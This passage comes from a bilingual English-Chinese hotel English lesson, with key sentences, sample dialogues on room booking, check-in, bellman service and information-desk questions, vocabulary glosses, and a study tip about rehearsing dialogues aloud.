/&gt;您打算住多久？&lt;br /&gt;6．We'll be leaving Sunday morning．&lt;br /&gt;我们将在星期天上午离开。&lt;br /&gt;7．And we look forward to seeing you next Tuesday．&lt;br /&gt;我们盼望下周二见到您。&lt;br /&gt;8．I'd like to book a single room with bath from the after-noon of October 4 to the morning of October 10．&lt;br /&gt;我想订一个带洗澡间的单人房间，10月4日下午到10月10日上午用。&lt;br /&gt;9．We do have a single room available for those dates．&lt;br /&gt;我们确实有一个单间，在这段时间可以用。&lt;br /&gt;10． What is the rate, please？&lt;br /&gt;请问房费多少？&lt;br /&gt;11．The current rate is＄ 50 per night．&lt;br /&gt;现行房费是50美元一天。&lt;br /&gt;12． What services come with that？&lt;br /&gt;这个价格包括哪些服务项目呢？&lt;br /&gt;13．That sounds not bad at all． I'll take it．&lt;br /&gt;听起来还不错。这个房间我要了。&lt;br /&gt;14． By the way， I'd like a quiet room away from the street if the is possible．&lt;br /&gt;顺便说一下，如有可能我想要一个不临街的安静房间。 &lt;br /&gt;Dialogue A&lt;br /&gt;A：Room Reservations．Good afternoon．&lt;br /&gt;B：I'd like to book a double room for Tuesday next week．&lt;br /&gt;A：That's fine，sir．A double room for Tuesday，September12th，with a front view or rear view？&lt;br /&gt;B：What's the price difference？&lt;br /&gt;A： A double room with a front view is 140 dollars per night，one with a rear view is 115 dollars per night．&lt;br /&gt;B：I think I'll take the one with a front view then．&lt;br /&gt;A： How long will you be staying？&lt;br /&gt;B： We'll be leaving Sunday morning．&lt;br /&gt;A： That will be five nights，sir．Thank you very much，and we look forward to seeing you next Tuesday． &lt;br /&gt;B： Good．That's all settled then．Good-bye．&lt;br /&gt;A： Good-bye． &lt;br /&gt;Dialogue B&lt;br /&gt;A：Advance Reservations．Can I help you？&lt;br /&gt;B：Yes，I'd like to book a single room with a bath from the afternoon of October 4 to the morning of October 10．&lt;br /&gt;A： Yes，we do have a single room available for those dates．&lt;br /&gt;B： What is the rate，please？&lt;br /&gt;A： The current rate is＄50 per night．&lt;br /&gt;B： What services come with that？&lt;br /&gt;A： For＄50 you'll have a radio，a color television，a telephone and a major international newspaper delivered to your room everyday．&lt;br /&gt;B： That sounds not bad at all．I'll take it．&lt;br /&gt;A： Very good．Could you tell me your name，sir，please？&lt;br /&gt;B： Yes，it is Moore．&lt;br /&gt;A： How do you spell it， please？&lt;br /&gt;B： It's M-O-O-R-E．&lt;br /&gt;A： M-O-O-R-E．And what is your address，please？&lt;br /&gt;B： It is 3600 Montague Boulevard，Hattiesburg，Mississiippi39401 U．S．A．．&lt;br /&gt;A： Excuse me，sir，but could you speak a little more slowly，please？&lt;br /&gt;B：  Sure，no problem．It's 3600 Montague Boulevard，Hattiesburg，Mississippi 39401 U．S．A．．Have you got it？&lt;br /&gt;A： Yes，so it is 3600 Montague Boulevard，Hattiesburg，Mississippi 39401 U．S．A．．&lt;br /&gt;B： That's right．&lt;br /&gt;A： What about your telephone number？&lt;br /&gt;B： （601） 264-9716． By the way， I'd like a quiet room away from the street if that is possible．&lt;br /&gt;A： A quiet room away from the street is preferred．O．K．．We'll mail you a reservation card confirming your booking as soon as possible．We look forward to your visit．&lt;br /&gt;B：Thank you and good-bye．&lt;br /&gt;A：Good-bye． &lt;br /&gt;Words and Expressions&lt;br /&gt;settle  v．解决    available   a．可得到的 有用的   confirm   vt．使坚定，认可&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At the Entrance 在门口 &lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;15．Welcome to our hotel．&lt;br /&gt;欢迎光临。&lt;br /&gt;16．So you have got altogether four pieces of baggage？&lt;br /&gt;您一共带了4件行李，是不是？&lt;br /&gt;17． Let me have a check again．&lt;br /&gt;让我再看一下。&lt;br /&gt;18．The Reception Desk is straight ahead．&lt;br /&gt;接待处就在前面。&lt;br /&gt;19．After you， please．&lt;br /&gt;你先请。&lt;br /&gt;20．Excuse me， where can I buy some cigarettes？&lt;br /&gt;劳驾。我到哪儿可买到香烟？&lt;br /&gt;21．There is a shop on the ground floor．&lt;br /&gt;一楼有个商店。&lt;br /&gt;22．It sells both Chinese and foreign cigarettes．&lt;br /&gt;在那儿可买到中国香烟和外国香烟。&lt;br /&gt;23．Can I also get some souvenirs there？&lt;br /&gt;也可以买到纪念品吗？&lt;br /&gt;24．There is a counter selling all kinds of souvenirs．&lt;br /&gt;有个柜台出售各种各样的纪念品。&lt;br /&gt;25．Excuse me，where is the restaurant？&lt;br /&gt;劳驾，请问饭厅在哪儿？&lt;br /&gt;26．We have Chinese restaurant and a western－style restaurant．Which one  do you prefer？&lt;br /&gt;我们有中餐厅和西餐厅，你愿意去哪个？&lt;br /&gt;27．I'd like to try some Chinese food today．&lt;br /&gt;今天我想尝尝中国菜。 &lt;br /&gt;Dialogue A&lt;br /&gt;（A car pulls up in front of Huatian Hotel and a doorman A goes forward to meet the guests B and C，opening the door of the car for them．）&lt;br /&gt;A：Good evening，sir and madam．Welcome to our hotel．&lt;br /&gt;Mr Bell（B）： Thanks．Good evening．&lt;br /&gt;A：（Opening the trunk，taking out the baggage and looking at the name on the baggage tags）&lt;br /&gt;I'm the doorman，sir． So you have got altogether four pieces of baggage？&lt;br /&gt;B： Er．Maybe five，Margaret（C）？&lt;br /&gt;A：Five？Oh，sorry．Let me have a check again．&lt;br /&gt;C：Oh，no，Henry．Always poor memory！We've got only four．&lt;br /&gt;B：I see． （To the doorman） Sorry，boy． You're right． Four pieces．&lt;br /&gt;A： Never mind，sir．The Reception Desk is straight ahead．After you，please．&lt;br /&gt;B：Yes，thank you． &lt;br /&gt;Dialogue B&lt;br /&gt;A： Excuse me． Where can I buy some cigarettes？ &lt;br /&gt;B： There is a shop on the ground floor． It sells both Chinese and foreign cigarettes．&lt;br /&gt;A：Can I also get some souvenirs there？&lt;br /&gt;B：Yes，sir．There is a counter selling all kinds of souvenirs．&lt;br /&gt;A：By the way，where is the men's room？&lt;br /&gt;B：There is one at the end of the corridor．&lt;br /&gt;A：Thank you．&lt;br /&gt;B： You are welcome． &lt;br /&gt;Dialogue C&lt;br /&gt;A：Excuse me，where is the restaurant？&lt;br /&gt;B：We have Chinese restaurant and a western-style restaurant．Which one do you prefer？&lt;br /&gt;A：I'd like to try some Chinese food today．&lt;br /&gt;B： The Chinese restaurant is on the second floor．&lt;br /&gt;A： What are the hours at the restaurant？&lt;br /&gt;B：Breakfast 6∶30 to 9∶00 a．m．；Lunch 11∶30 a．m．to2∶00 p．m．；Dinner 5∶30 to 9∶00 p．m．．&lt;br /&gt;A：Thank you．&lt;br /&gt;B：You're welcome． &lt;br /&gt;Words and Expressions&lt;br /&gt;cigarette    n．香烟、纸烟    souvenir   n．纪念品，纪念物   corridor   n．走廊&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At the Reception Desk在接待处 1 &lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;28．I want a double room with a bath．&lt;br /&gt;我要一间有浴室的双人房。&lt;br /&gt;29．How much a day do you charge？&lt;br /&gt;每天收费多少？&lt;br /&gt;30．It is hundred yuan a day including heating fee，but excluding service charge．&lt;br /&gt;一百元一天，包括供暖费但不包括服务费。&lt;br /&gt;31．It's quite reasonable．&lt;br /&gt;收费十分合理。&lt;br /&gt;32．How long do you intend to stay in this hotel？&lt;br /&gt;您准备住多久？&lt;br /&gt;33．Have you got through with the check－in procedure？&lt;br /&gt;你是否已经办妥住宿登记手续？&lt;br /&gt;34．Can I book a single room for my friend beforehand as he will arrive in Shanghai tomorrow morning？&lt;br /&gt;我能为我的朋友预订一间单人房吗？他将于明天早上到达上海。&lt;br /&gt;35．Would you mind filling in this form and pay a hundred yuan in advance for him．&lt;br /&gt;请填好并预付一百元钱。&lt;br /&gt;36．This is a receipt for paying in advance．Please keep it．&lt;br /&gt;这是预付款收据，请收好。&lt;br /&gt;37．Have you any vacant（spare） room in the hotel？&lt;br /&gt;旅馆里有空余房间吗？&lt;br /&gt;38．Sorry，we have no vacant（spare） room for you．But I can recomm- end you to the Orient Hotel where you may get a spare room．&lt;br /&gt;对不起，我们已经客满了。但是我可以介绍您去东方饭店，那里有空余的房间。&lt;br /&gt;39．Good afternoon， my room number is 321．Any mail for me？&lt;br /&gt;下午好！我的房号是321。有我的信吗？&lt;br /&gt;40．Yes．You have two letters and one telegram， also a message was left    by a lady before one hour．&lt;br /&gt;有的。您有两封信和一封电报，一小时前有一位小姐来电话留言给您。&lt;br /&gt;41．I'll mail a letter to U．S．A．by airmail．&lt;br /&gt;我要寄一封航空信到美国。&lt;br /&gt;42．How much do I have to pay for you？&lt;br /&gt;我要付多少钱？&lt;br /&gt;43．A letter generally mails to America—Europe—Africa by airmail．First 20 grams is 20 yuan．&lt;br /&gt;通常一封寄到美国、欧洲、非洲的航空信，20克收费20元。 &lt;br /&gt;Dialogue A&lt;br /&gt;（A：Receptionist  B：Guest）&lt;br /&gt;B： I want a double room with a bath．How much a day do you charge？&lt;br /&gt;A： It is a hundred yuan a day including heating fee but excluding service charge．&lt;br /&gt;B： It's quite reasonable． &lt;br /&gt;A：How long do you intend to stay in this hotel？ &lt;br /&gt;B：I shall leave in a fortnight（half a month）．&lt;br /&gt;A：Have you got through with the check－in procedure？&lt;br /&gt;B：Oh，yes，I'm going to fill in the form of registration right now．Can I book a single room for my friend before hand as he will arrive in Shanghai tomorrow morning？&lt;br /&gt;A：Sure．Here is the form for reservations．Would you mind filling in this form and pay hundred yuan in advance for him．&lt;br /&gt;B：All right． This is one hundred yuan to pay for my reservation．&lt;br /&gt;A：Thank you．This is a receipt for paying in advance．Please keep it． &lt;br /&gt;Dialogue B&lt;br /&gt;B： Have you got any vacant（spare） room in the hotel？&lt;br /&gt;A：Sorry，we have no vacant（spare） room for you． But I can recommend you to the Orient Hotel where you may get as pare room．&lt;br /&gt;B：That sounds very good！Can I book the plane ticket（train ticket，ship ticket）here？&lt;br /&gt;A：Please go to the CAAC office to book your plane ticket．If you want to book your train ticket or ship ticket，you'd better go to the Shanghai International TravelService．&lt;br /&gt;B：Could you tell me how many kinds of rooms do you have？&lt;br /&gt;A：There are single rooms， double rooms， suites and deluxe suites in our hotel．Every room is equipped with a bath and a telephone．&lt;br /&gt;B：Oh，I see．Thanks．&lt;br /&gt;A：You are welcome． &lt;br /&gt;Dialogue C&lt;br /&gt;（A： Guest  B： Receptionist）&lt;br /&gt;A：Good afternoon，my room number is 321．Any mail for me？&lt;br /&gt;B：Yes．You have two letters and one telegram， also a message was left by a lady before one hour．&lt;br /&gt;A：Let me see who called…？ I have to make a phone call．Will you get me the party？ Here is the number．&lt;br /&gt;B： OK．Wait for moment．… Here is your party．&lt;br /&gt;A： Thank you．I'll mail a letter to U． S． A．by airmail．How much do I have to pay for you？&lt;br /&gt;B：A letter generally mall to America- Europe- Africa by airmail．First 20 grams is 20 yuan．Each additional 20 grams is 15 yuan． &lt;br /&gt;A：Oh，I see．Thank you very much． &lt;br /&gt;Words and Expressions&lt;br /&gt;heating fee 供暖费&lt;br /&gt;exclude      vt．把……排除在外&lt;br /&gt;reasonable      a．（价钱）公道的，不贵的&lt;br /&gt;fortnight      n．十四日，两星期&lt;br /&gt;procedure     n．过程，步骤，程序&lt;br /&gt;check－in procedure 住宿登记手续&lt;br /&gt;registration     n．登记，注册&lt;br /&gt;deluxe suites 豪华套房&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At the Reception Desk在接待处 2 &lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;44．Yes， we do have a reservation for you．&lt;br /&gt;对了，我们这儿是有您预订的房间。&lt;br /&gt;45．Would you please fill out this form while I prepare your key card for you？&lt;br /&gt;请您把这份表填好，我同时就给您开出入证，好吗？&lt;br /&gt;46．What should I fill in under ROOM NUMBER？&lt;br /&gt;“房间号码”这一栏我该怎么填呢？&lt;br /&gt;47．I'll put in the room number for you later on．&lt;br /&gt;过会儿我来给您填上房间号码。&lt;br /&gt;48．You forgot to put in the date of your departure．&lt;br /&gt;您忘了填写离店日期了。&lt;br /&gt;49．And here is your key，Mr．Bradley．Your room number is 1420．&lt;br /&gt;给您房间的钥匙，布拉德利先生。您的房间号码是1420。&lt;br /&gt;50．It is on the 14th floor and the daily rate is＄90．&lt;br /&gt;房间在14层，每天的房费是90美元。&lt;br /&gt;51． Please make sure that you have it with you all the time．&lt;br /&gt;请务必随时带着它。&lt;br /&gt;52． My business negotiation has progressed much more slowly than I had expected．&lt;br /&gt;我的业务谈判进行得比我原先预料的慢了许多。&lt;br /&gt;53． I wonder if it is possible for me to extend my stay at this hotel for two days．&lt;br /&gt;我想知道是否可以让我在这儿多呆两天。&lt;br /&gt;54．I'll take a look at the hotel's booking situation．&lt;br /&gt;我来查看一下本店房间的预订情况。&lt;br /&gt;55．I'm glad that we'll be able to accept your extension request．&lt;br /&gt;很高兴我们有办法接受您延长住宿的要求。&lt;br /&gt;56． But I'm afraid that it will be necessary for us to ask you to change rooms for the last two nights．&lt;br /&gt;不过，恐怕最后两天我们得请您搬到别的房间去。&lt;br /&gt;57． We have already let your room to another gentleman．&lt;br /&gt;我们已经把您住的房间租给了另外一位先生。&lt;br /&gt;58． That's no problem at all．&lt;br /&gt;没问题。 &lt;br /&gt;Dialogue A&lt;br /&gt;A： Good morning，sir．Can I help you？&lt;br /&gt;B：Good morning！I have a reservation for a single room with a bath here．&lt;br /&gt;A： May I have your name， sir， please？&lt;br /&gt;B：Bradley，John Bradley．&lt;br /&gt;A：Just a moment， sir， while I look through our list．Yes，we do have a reservation for you， Mr． Bradley．Would you please fill out this form while I prepare your key card for you？&lt;br /&gt;B：Yes．Can I borrow your pen for a minute， please？&lt;br /&gt;A：Sure．Here you are．&lt;br /&gt;B：What should I fill in under ROOM NUMBER？&lt;br /&gt;A： You can just skip that． I'll put in the room number for you later on．&lt;br /&gt;B：（After he has completed the form） Here you are．I think I've filled in everything correctly．&lt;br /&gt;A： Let me see…name， address， nationality，for war ding address， passport number， place of issue， signature and date of departure．Oh，here，sir．Your forgot to put in the date of your departure． Here let me fill it in for you．You are leaving on…？&lt;br /&gt;B：Ocrober 24．&lt;br /&gt;A：Now everything's in order．And here is your key，Mr．Bradley．Your room number is 1420． It is on the14th floor and the daily rate is＄90．Here is your key card with all the information on your booking， the hotel services and the hotel rules and regulations on it．Please make sure that you have it with you all the time．You need to show it when you sign for your meals and drinks in the restaurants and the bars．You also need to show it when you collect your key from the Information Desk．&lt;br /&gt;B： OK．I'll take good care of it．&lt;br /&gt;A： And now if you are ready，Mr．Bradley， I'll call the bell-boy and he'll take you to your room．&lt;br /&gt;B： Yes， I'm ready．Thank you．&lt;br /&gt;A：I hope you enjoy your stay with us．&lt;br /&gt;B：I'll try．&lt;br /&gt;　&lt;br /&gt;Dialogue B&lt;br /&gt;A：Good morning！Can I help you？&lt;br /&gt;B：Good morning！ I'm Mr．Doug lass in room 1208． My business negotiation has progressed much more slowly than I had expected．This makes it necessary for me to stay on here for another day．I wonder if it is possible for me to extend my stay at this hotel for two days．&lt;br /&gt;A： I'll take a look at the hotel's booking situation． Yes， sir，I'm glad that we'll be able to accept your extension re－quest．But I'm afraid that it will be necessary for us to ask you to change rooms for the last two nights．You see，we have already let yourroom to another gentle-man．Is that acceptable to you？ &lt;br /&gt;B： Yes， that's no problem at all．&lt;br /&gt;A： Let me see… room 1111 Will be vacant． How about room1111？&lt;br /&gt;B：That is fine．&lt;br /&gt;A：When would you like to move tomorrow？&lt;br /&gt;B： I don't know．&lt;br /&gt;A：The new occupant will be checking in a little after twelve．&lt;br /&gt;B： That means I have to move out before 12． Let me see． I'll be leaving for the negotiation at 9∶30 tomorrow morning and I will not be returning to the hotel until sometime in the afternoon． So I'm going to have to do it before I go to the negotiation．Well，I think I will move at 9o'clock．&lt;br /&gt;A： Good．I will send a bellboy to your room and help youwith your luggage at 9 o'clock． And please remember to bring your key card to the reception desk when you pass it tomorrow so that I can change the room number on it．&lt;br /&gt;B：I will．Thank you very much．&lt;br /&gt;A：Goodbye．&lt;br /&gt;　&lt;br /&gt;Words and Expressions&lt;br /&gt;nationality      n．国籍&lt;br /&gt;forward      v．．发送，寄发&lt;br /&gt;for warding address 转投地址&lt;br /&gt;passport      n．护照&lt;br /&gt;place of issue 发照地点&lt;br /&gt;signature     n．签名&lt;br /&gt;departure     n．离开&lt;br /&gt;regulation      n．规章，规定，条例&lt;br /&gt;negotiation      n．谈判；磋商&lt;br /&gt;extension     n．延长日期&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The bellman 应接服务员&lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;59．Is this everything， sir？&lt;br /&gt;这是全部东西吗，先生？&lt;br /&gt;60．Here's the light switch．&lt;br /&gt;这是电灯开关。&lt;br /&gt;61．Here's the closet and there's the bathroom．&lt;br /&gt;这儿是壁柜。这儿是洗澡间。&lt;br /&gt;62． Will there be anything else， sir？&lt;br /&gt;还有什么事吗，先生？&lt;br /&gt;63． Well，if you need anything else，please call room service．&lt;br /&gt;噢，如果你有什么事，请叫房间服务。&lt;br /&gt;64． Let me help you with your luggage．&lt;br /&gt;我来帮您拿行李。&lt;br /&gt;65．It's very kind of you to do so．&lt;br /&gt;你这样做使我很感激。&lt;br /&gt;66．What's your room number， please？&lt;br /&gt;请问您的房间号码？&lt;br /&gt;67． And by the way， could I have a look at your room card？&lt;br /&gt;顺便问一句，我可以看一下您的房卡吗？&lt;br /&gt;68．How do you like this room？&lt;br /&gt;您觉得这个房间怎么样？&lt;br /&gt;69．It's also quite spacious．&lt;br /&gt;房间也很宽敞。&lt;br /&gt;70． Do you mind if I put your luggage by the wardrobe？&lt;br /&gt;我把您的行李搁在衣柜旁边好吗？&lt;br /&gt;71．By the way， could you tell me about your hotel service？&lt;br /&gt;顺便问问，你能不能给我讲一下宾馆服务的情况？&lt;br /&gt;　&lt;br /&gt;Dialogue A&lt;br /&gt;Bellboy： Is this everything， sir？&lt;br /&gt;Visitor：Yes，that's everything．&lt;br /&gt;Bellboy：Follow me，please．&lt;br /&gt;Visitor：Thanks．&lt;br /&gt;Visitor：Oh，can you change a twenty？&lt;br /&gt;F． C．：Yes，sir．&lt;br /&gt;Visitor：Three fives and five ones，please．&lt;br /&gt;F．C．： Yes， sir．&lt;br /&gt;Bellboy：Here we are，sir．Here's the light switch．&lt;br /&gt;Visitor： Fine．&lt;br /&gt;Bellboy：Here's the closet and there's the bathroom．&lt;br /&gt;Visitor：Great！I want to wash up．&lt;br /&gt;Bellboy：Will there be anything else，sir？&lt;br /&gt;Visitor：No，thanks．I think I'm OK．&lt;br /&gt;Bellboy：Well，if you need anything else，please call room service．&lt;br /&gt;Visitor：Thank you．Here you are．&lt;br /&gt;　&lt;br /&gt;Dialogue B&lt;br /&gt;（A： Bellman B： Mr and Mrs Smith）&lt;br /&gt;A： Good afternoon， sir and madam． I'm the bell man here．&lt;br /&gt;B：Good afternoon． &lt;br /&gt;A：Very nice to see you here． Let me help you with your luggage．&lt;br /&gt;B：It's very kind of you to do so．&lt;br /&gt;A： What's your room number， please？And by the way，could I have a look at your room card？&lt;br /&gt;B：Oh，yes．This morning my secretary made a reservation and filled in the registration form for me． He told me that my room number was 302．&lt;br /&gt;A：I see．Now please follow me．&lt;br /&gt;（After entering the room）&lt;br /&gt;A：Sir and madam，how do you like this room？It's just facing the Shanghai gymnasium．It's also quite spacious．&lt;br /&gt;B：It's very cozy．I like it very much．&lt;br /&gt;A： Do you mind if I put your luggage by the wardrobe？&lt;br /&gt;B： It's OK．Thank you very much．&lt;br /&gt;A： Sir and madam， if you need something， just call me over the phone or press the button over there．&lt;br /&gt;　&lt;br /&gt;Dialogue C&lt;br /&gt;（When me bell man is leaving the room，Mr．Brown asks him to introduce something about their service．）&lt;br /&gt;A：By the way，could you tell me about your hotel service？&lt;br /&gt;B： Certainly sir．Our hotel is a modern garden hotel of three star grade consisting of a group of three－storied octagonal buildings．The hotel possesses 199 international－stand arddouble rooms， 4 suites and 2 deluxe suites． All of the mare well－furnished．&lt;br /&gt;A：How about other services？&lt;br /&gt;B： Available at the hotel is a variety of Chinese，Japanese and Western food restaurants， in addition to a complete set of service facilities including ballroom， physical fitness center， squash， billiard room， beauty salon， sauna，swimming pool， bar， shopping arcade and taxi service，etc．&lt;br /&gt;A：It sounds great．I'd like to have a brochure of your hotel．Where could I get one？&lt;br /&gt;B：You can get it from the Reception Desk．If you don't mind， I'll come up again and offer you one．&lt;br /&gt;A：Good．That's very kind of you．By the way，what about the daily service hour of the dining－room？&lt;br /&gt;B： From 7∶00 a． m． till 10∶00 p．m．， nearly serving all day long． &lt;br /&gt;A：When will the bar and cafe open？&lt;br /&gt;B：From 3∶00 p．m．till midnight．And then，you might keep your valuables at the hotel's vault．&lt;br /&gt;A：You give very good service in your hotel．Thank you a lot．&lt;br /&gt;　&lt;br /&gt;Words and Expressions&lt;br /&gt;F．C．=front desk clerk 前台职员&lt;br /&gt;Shanghai Olympic     Hotel 上海奥林匹克饭店&lt;br /&gt;gymnasium     n．体育馆&lt;br /&gt;spacious      a．宽敞的&lt;br /&gt;cozy      a．舒适的&lt;br /&gt;wardrobe     n．衣橱，衣柜&lt;br /&gt;consist（of）      v．由……组成；包含&lt;br /&gt;storied     a．有……楼层的&lt;br /&gt;octagonal      a．八角形的&lt;br /&gt;furnish      vt．装备；布置（房间）&lt;br /&gt;well－furnished （房间）布置得好&lt;br /&gt;available      a．可得到的&lt;br /&gt;variety      n．种类；多样化&lt;br /&gt;in addition to 另有，还有&lt;br /&gt;facility      n．设备&lt;br /&gt;physical fitness      健身房&lt;br /&gt;squash courts （squash=tennis）网球场&lt;br /&gt;billiard      n．弹子&lt;br /&gt;beauty salon      美容室&lt;br /&gt;sauna      n．桑拿浴室&lt;br /&gt;arcade      n．商场&lt;br /&gt;brochure     ／ n．小册子&lt;br /&gt;valuables      n．贵重物品&lt;br /&gt;vault     n．保管库（贵重物品储藏处）&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;给大家一个建议，如果你可以把这样的一个场景对话抄在一个小纸条上，每天无论什么时候，只要有空，就拿出来大声地读，或者小声地Murmur，那样你就能自己给自己创造语言环境了。真所谓纸条随身带，环境满天飞。我坚信，语言的环境是要靠我们自己创造出来的，在没有获得真实的语言环境之前，我们大可以运用我们的想象，来创造出我们所需要的语言环境。我们人的想象力是无比丰富的，当你面对着镜子，当你面对着墙，甚至当你面对着空气的时候，你都能把对方想象成是一个和你在进行场景对话的角色中的人物，你完全可以自如的进行交流的操练。就拿现在大家在学习的这段打个比方，你可以把自己想象成是一个酒店的客人，墙是你的服务人员。操练一段时间，你再把自己转换成是工作人员，这样不断的角色转换和演练，才能让你真正做到熟能生巧，游刃有余！记住一点：光死记硬背是不行的！&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At the Information Desk问讯处 1&lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;72．Is there any place in the hotel where we can amuse our－selves？&lt;br /&gt;旅馆里有娱乐场所吗？&lt;br /&gt;73．If you want to take a walk， you can go to the garden．&lt;br /&gt;如果您想散步，可以去花园。&lt;br /&gt;74．There is a recreation centre on the ground floor．&lt;br /&gt;在一楼有个娱乐中心。&lt;br /&gt;75． You can play billiards，table tennis，bridge，and go bowling．&lt;br /&gt;您可以去打打台球、乒乓球、桥牌和保龄球。&lt;br /&gt;76．Is there a place where we can listen to some music？&lt;br /&gt;有听音乐的地方吗？&lt;br /&gt;77． There is a music teahouse where you can enjoy both classical music such as Beethoven，Mozart，Liszt，and mode rnmusic，while having some Chinese tea or other soft drinks．&lt;br /&gt;有个音乐茶座，您可以一边欣赏古典音乐，如贝多芬、莫扎特、李斯特的乐曲和现代音乐，一边品尝中国茶和软饮料。&lt;br /&gt;78． Would you please tell me the daily service hours of the dining room？&lt;br /&gt;请告诉我餐厅每天的服务时间，好吗？&lt;br /&gt;79．From 7∶00 a．m．till 10∶00 p．m．nearly serving all day long．&lt;br /&gt;从早上七时一直到晚上十时，几乎全天供应。&lt;br /&gt;80． When will the bar and cafe open？&lt;br /&gt;酒吧和咖啡馆什么时间开放？&lt;br /&gt;81．From 3∶00 p．m．till midnight．&lt;br /&gt;从下午三点到晚上十二点。&lt;br /&gt;82．Does the guest house offer any other service？&lt;br /&gt;宾馆里还有哪些服务项目？&lt;br /&gt;83．We have a barber shop， a laundry， a store， post and telegram services，a newspaper stand，a billiard，table tennis， video games and so on．&lt;br /&gt;我们有理发室、洗衣房、小卖部、邮电服务、报刊供应柜、弹子房、乒乓球和电子游戏。&lt;br /&gt;84．It's jolly good！&lt;br /&gt;这太好了！&lt;br /&gt;85．And where can I have my laundry done？&lt;br /&gt;脏衣服送到哪里去洗？&lt;br /&gt;　&lt;br /&gt;Dialogue A&lt;br /&gt;A：Is there any place in the hotel where we can amuse our－selves？&lt;br /&gt;B：If you want to take a walk， you can go to the garden． It is very relaxing there．&lt;br /&gt;A： That sounds good．But is that the only place to go？&lt;br /&gt;B： No， sir． There is a recreation centre on the ground floor．You can play billiards， table tennis， bridge，and go bowling．&lt;br /&gt;A：Is there a place where we can listen to some music？&lt;br /&gt;B：Yes，sir．There is a music teahouse where you can enjoy both classical music such as Beethoven，Mozart，Liszt，and modern music， while having some Chinese tea or other soft drinks．&lt;br /&gt;A：Oh，great！Thank you very much．&lt;br /&gt;B：It's a pleasure．&lt;br /&gt;　&lt;br /&gt;Dialogue B&lt;br /&gt;（A： Receptionist B： Guest）&lt;br /&gt;B：Would you please tell me the daily service hours of the dining room？&lt;br /&gt;A：Certainly．From 7∶00 a．m．till 10∶00 p．m．nearly serving all day long．&lt;br /&gt;B： When will the bar and cafe open？&lt;br /&gt;A：From 3∶00 p．m．till midnight．&lt;br /&gt;B： Does the guest house offer any other service？&lt;br /&gt;A：Oh， we have a barber shop， a laundry，a store，post and telegram services，a newspaper stand， a billiard，table tennis，video games and so on．&lt;br /&gt;B： It's jolly good！&lt;br /&gt;A：You may have your shopping and amusements there．&lt;br /&gt;B：Thank you for your concern．Can I get a tourist map in the hotel？&lt;br /&gt;A：Yes， you may go to the lobby and buy it from the news-paper stand there． With the map， you can find your way around．&lt;br /&gt;B： Good．And where can I have my laundry done？&lt;br /&gt;A：There's a plastic bag in the bathroom．Just put your laundry in it．It will be picked up after I make the bed every morning．Here is the room key．&lt;br /&gt;B： Do I keep the key？&lt;br /&gt;A：At the service counter，there are attendants on duty all day．Please leave the key with the service counter when you go out．&lt;br /&gt;B：Yes，I know． Thanks．&lt;br /&gt;A： And then， you might keep your valuables： diamonds，necklace，ear－rings，etc．，in the vault of the guest house．&lt;br /&gt;B：You give very good service in this guest house．Thank you a lot．&lt;br /&gt;A：Thank you， Mr．Taylor．I hope you will enjoy staying here．In the mean time， the hot water supply in this guest house is from 6∶00 a．m．up to 12∶00 p．m．&lt;br /&gt;B：Oh，that sounds good． I feel like taking a bath right now．I'm used to having a bath at 9 o'clock every morning．&lt;br /&gt;A：If you please．In the batnroom， everything has already been prepared， such as toilet soaps， towels， bathing towels， bathrobes， slippers，toilet paper， shampoo，combs，brushes， shavers，an ashtray and bathing caps．&lt;br /&gt;B：Thank you for your information．&lt;br /&gt;　&lt;br /&gt;Words and Expressions&lt;br /&gt;amuse     vt．给……娱乐；逗……乐&lt;br /&gt;bowling     n．保龄球&lt;br /&gt;vedio     a．图像的&lt;br /&gt;game      n．游戏&lt;br /&gt;jolly      a．极好&lt;br /&gt;amusement      n．娱乐&lt;br /&gt;concern      n．v．关心，涉及；关于&lt;br /&gt;lobby      n．门廊；门厅&lt;br /&gt;valuable      n．值钱物 a．值钱的&lt;br /&gt;diamond      n．钻石、金刚石&lt;br /&gt;necklace      n．项圈，项链&lt;br /&gt;ring      n．戒指&lt;br /&gt;vault      n．（银行）保险库&lt;br /&gt;supply     v．供应&lt;br /&gt;bathing towel 浴巾&lt;br /&gt;bathrobe      n．浴衣&lt;br /&gt;slipper      n．拖鞋&lt;br /&gt;shampoo      n．洗发液（香波）v．洗头&lt;br /&gt;ashtray      n．烟灰缸&lt;br /&gt;shaver     n．电动剃刀&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At the Information Desk问讯处 2 &lt;br /&gt;Key Sentences（重点句子）&lt;br /&gt;86．Madam．What can I do for you？&lt;br /&gt;夫人。我能为您做些什么？&lt;br /&gt;87．I'm looking for a man whose name is John．&lt;br /&gt;我在寻找一位男士，他的名字叫约翰。&lt;br /&gt;88．Could you tell me his room number， please？&lt;br /&gt;请问他的房间号码是多少？&lt;br /&gt;89．I suppose it is 735．&lt;br /&gt;我想他的房间号码是735号。&lt;br /&gt;90．By the way， please show me where the lift is？&lt;br /&gt;顺便请指点我电梯在什么地方？&lt;br /&gt;91．I need some information about touring Hangzhou．&lt;br /&gt;我想了解关于游览杭州的情况。&lt;br /&gt;92． There are two trains going to Hangzhou every morning，No．49 and No．79．&lt;br /&gt;每天早晨有两列火车到杭州，49次列车和79次列车。&lt;br /&gt;93．What time does this train leave？&lt;br /&gt;这列火车什么时间发车？&lt;br /&gt;94． Could you get me two tickets for tomorrow here？&lt;br /&gt;你能否在这儿卖给我两张明天的车票？&lt;br /&gt;95．I'm looking for a friend， Mr．Brown． Could you tell me if he is in the hotel？&lt;br /&gt;我在找一位朋友，布朗先生。你能告诉我他是住在这个饭店吗？&lt;br /&gt;96．Just a minute，please．I'll see if he is registered．&lt;br /&gt;请稍等片刻，我看看他是否登记了。&lt;br /&gt;97．They are in suite 705． Let me phone him．&lt;br /&gt;他们住在705号套房，我来给他打电话。&lt;br /&gt;98．Mr．Brown said he's waiting for you in his room．&lt;br /&gt;布朗先生说他在房间里等您。 &lt;br /&gt;Dialogue A&lt;br /&gt;A： Good afternoon， Madam．What can I do for you？&lt;br 